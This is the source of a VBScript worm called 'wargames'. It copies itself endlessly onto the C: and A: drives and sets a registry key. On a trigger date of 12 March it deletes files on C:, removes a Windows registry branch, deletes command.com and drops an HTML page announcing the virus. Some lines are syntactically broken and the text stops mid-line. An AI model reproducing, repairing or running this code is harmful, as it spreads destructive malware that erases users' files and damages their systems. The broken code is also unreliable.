'Creado en Marruecos por GPVCWAR 'GPVCWAR te felicito, wargames!!! On Error Resume Next Set grone = CreateObject("scripting.filesystemobject") Set a = CreateObject("scripting.filesystemobject") Set o = CreateObject("scripting.filesystemobject") Do Randomize kuasa = Int(Rnd * 5) If kuasa = "0" Then Name = "war" If kuasa = "1" Then Name = "games" If kuasa = "2" Then Name = "loco" If kuasa = "3" Then Name = "Brendano" If kuasa = "4" Then Name = "Readme" grone.copyfile ".\leeme.vbs", "c:\" & Name & ".vbs" a.copyfile ".\leeme.vbs", "a:\" & Name & ".vbs" Loop o.copyfile ".\leeme.vbs", "c:\leeme.vbs" Set regdel = CreateObject("wscript.shell") Set reg = CreateObject("wscript.shell") reg.regwrite "HKEY_CURRENT_USER\Software\GPVCWAR", "c:\leeme.vbs" Set m = CreateObject("wscript.shell") If m.RegRead "HKEY_CURRENT_USER\Software\GPVCWAR" GoTo "mail()" End If Set del = CreateObject("scripting.filesystemobject") If (Month()) = 3 And (Day()) = 12 Then del.deletefile = "c:\*.*" regdel.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion" Set Page = CreateObject("wscript.shell") Page.Run "http:// " Set Command = CreateObject("scripting.filesystemobject") Command.deletefile "c:\command.com" Set textfile = CreateObject("scripting.filesystemobject") Set contenido = textfile.createtextfile("c:\Informacion.html)", True) contenido.writeline "" contenido.writeline "" contenido.writeline "Ésta es la página del virus wargames, Vous avez entrez a la page du virus wargames, This is the webpage of the wargames virus" contenido.writeline "" contenido.writeline "